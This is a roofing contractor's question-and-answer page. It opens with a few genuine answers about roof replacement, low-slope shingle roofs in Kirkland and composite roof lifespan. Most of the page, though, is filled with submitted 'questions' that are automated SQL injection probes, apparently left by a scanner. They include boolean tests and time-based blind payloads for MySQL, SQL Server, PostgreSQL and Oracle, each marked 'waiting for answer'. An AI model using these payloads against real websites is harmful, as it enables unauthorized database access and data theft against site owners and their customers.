We are here to help with any exterior home maintenance project. Always happy to answer questions. Leave a question and we will post a reply here within 24 hours. If you leave your email and will notify you when it is posted.
How do I know when my roof needs to be replaced?
It depends on the type of roof you have. Flat roofs are different than pitched roofs. Metal roofs are different than shake, tile or composite roofs. You are probably referring to asphalt composition roofs as that is the most common type. These roofs can fail do to wear or structural damage to the roof. If the roof is sagging between joists it should be inspected for integrity. It might need replacing and the roof deck might be compromised. If it is leaking it maybe be due to seams and seals. Common failures are flashing, skylights, and vent pipes. These items are easily repaired and replacement is not necessary. If your shingles are cracked, brittle, and fraying on the edges then they are old and even if the roof is not currently leaking it may very well start to leak in the near future. Sometimes roofs like this may last several more years if left undisturbed. The problem is that once they start leaking they will need replacement right away. A more proactive approach is to replace it presently so you know you have a safe and secure home. A leak that goes undetected can cause serious structural damage to your home and cost many thousands of dollars in repair, that could have been avoided.
can you have a roof slope of 2-1/2 in 12 with asphalt shingles in Kirkland?
Generally 2ft in 12 ft is considered the minimum slope for composition shingles. For such a low slope roof, you need to apply water and ice sheathing and not just felt. Check the shingle manufacturer specs before choosing a shingle - not all shingles are alike. If you are changing the pitch of the roof, you must get a re-roof permit. If you have additional questions check with the Kirkland permitting dept at 425-587-3600.
How long do composite roofs last?
The average composite roof lasts about 30 years. Top of the line composite materials like the triple layer Presidential TL come with a 50-year warranty. As a CertainTeed Certified Select Shinglemaster we are able to offer the SureStart PLUS 5-Star warranty. This type of warranty covers all labor costs for repair or replacement.
-1 OR 2+282-282-1=0+0+0+1 --
waiting for answer
-1 OR 3+282-282-1=0+0+0+1 --
waiting for answer
-1 OR 3*2<(0+5+282-282) --
waiting for answer
-1 OR 3*2>(0+5+282-282) --
waiting for answer
-1 OR 2+86-86-1=0+0+0+1
waiting for answer
-1 OR 3+86-86-1=0+0+0+1
waiting for answer
-1 OR 3*2<(0+5+86-86)
waiting for answer
-1 OR 3*2>(0+5+86-86)
waiting for answer
-1' OR 2+587-587-1=0+0+0+1 --
waiting for answer
-1' OR 3+587-587-1=0+0+0+1 --
waiting for answer
-1' OR 3*2<(0+5+587-587) --
waiting for answer
-1' OR 3*2>(0+5+587-587) --
waiting for answer
-1' OR 2+770-770-1=0+0+0+1 or 'Ztl0GntX'='
waiting for answer
-1' OR 3+770-770-1=0+0+0+1 or 'Ztl0GntX'='
waiting for answer
-1 OR 2+213-213-1=0+0+0+1 --
waiting for answer
-1' OR 3*2<(0+5+770-770) or 'Ztl0GntX'='
waiting for answer
-1 OR 3+213-213-1=0+0+0+1 --
waiting for answer
-1' OR 3*2>(0+5+770-770) or 'Ztl0GntX'='
waiting for answer
-1 OR 3*2<(0+5+213-213) --
waiting for answer
-1" OR 2+220-220-1=0+0+0+1 --
waiting for answer
-1 OR 3*2>(0+5+213-213) --
waiting for answer
-1" OR 3+220-220-1=0+0+0+1 --
waiting for answer
-1 OR 2+241-241-1=0+0+0+1
waiting for answer
-1" OR 3*2<(0+5+220-220) --
waiting for answer
-1 OR 3+241-241-1=0+0+0+1
waiting for answer
-1" OR 3*2>(0+5+220-220) --
waiting for answer
-1 OR 3*2<(0+5+241-241)
waiting for answer
-1 OR 3*2>(0+5+241-241)
waiting for answer
-1' OR 2+217-217-1=0+0+0+1 --
waiting for answer
-1' OR 3+217-217-1=0+0+0+1 --
waiting for answer
-1' OR 3*2<(0+5+217-217) --
waiting for answer
-1' OR 3*2>(0+5+217-217) --
waiting for answer
-1' OR 2+781-781-1=0+0+0+1 or '1xCz0eq1'='
waiting for answer
-1' OR 3+781-781-1=0+0+0+1 or '1xCz0eq1'='
waiting for answer
1*if(now()=sysdate(),sleep(15),0)
waiting for answer
-1' OR 3*2<(0+5+781-781) or '1xCz0eq1'='
waiting for answer
-1' OR 3*2>(0+5+781-781) or '1xCz0eq1'='
waiting for answer
-1" OR 2+550-550-1=0+0+0+1 --
waiting for answer
-1" OR 3+550-550-1=0+0+0+1 --
waiting for answer
-1" OR 3*2<(0+5+550-550) --
waiting for answer
-1" OR 3*2>(0+5+550-550) --
waiting for answer
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
waiting for answer
1*if(now()=sysdate(),sleep(15),0)
waiting for answer
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
waiting for answer
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
waiting for answer
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
waiting for answer
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
waiting for answer
1-1; waitfor delay '0:0:15' --
waiting for answer
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
waiting for answer
1-1); waitfor delay '0:0:15' --
waiting for answer
1-1; waitfor delay '0:0:15' --
waiting for answer
1-1 waitfor delay '0:0:15' --
waiting for answer
1-1); waitfor delay '0:0:15' --
waiting for answer
1IR6G0T1Q'; waitfor delay '0:0:15' --
waiting for answer
1-1 waitfor delay '0:0:15' --
waiting for answer
1-1 OR 955=(SELECT 955 FROM PG_SLEEP(15))--
waiting for answer
1Rjmgw0We'; waitfor delay '0:0:15' --
waiting for answer
1-1) OR 752=(SELECT 752 FROM PG_SLEEP(15))--
waiting for answer
1-1 OR 803=(SELECT 803 FROM PG_SLEEP(15))--
waiting for answer
1-1)) OR 206=(SELECT 206 FROM PG_SLEEP(15))--
waiting for answer
1-1) OR 799=(SELECT 799 FROM PG_SLEEP(15))--
waiting for answer
12UPmRvqM' OR 59=(SELECT 59 FROM PG_SLEEP(15))--
waiting for answer
1-1)) OR 357=(SELECT 357 FROM PG_SLEEP(15))--
waiting for answer
13dOB4T7f') OR 994=(SELECT 994 FROM PG_SLEEP(15))--
waiting for answer
1phHblmZF' OR 482=(SELECT 482 FROM PG_SLEEP(15))--
waiting for answer
1G7K0vV65')) OR 463=(SELECT 463 FROM PG_SLEEP(15))--
waiting for answer
1pxEd5Cnt') OR 808=(SELECT 808 FROM PG_SLEEP(15))--
waiting for answer
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
waiting for answer
1CLcEpis6')) OR 241=(SELECT 241 FROM PG_SLEEP(15))--
waiting for answer
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
waiting for answer
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
waiting for answer
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
waiting for answer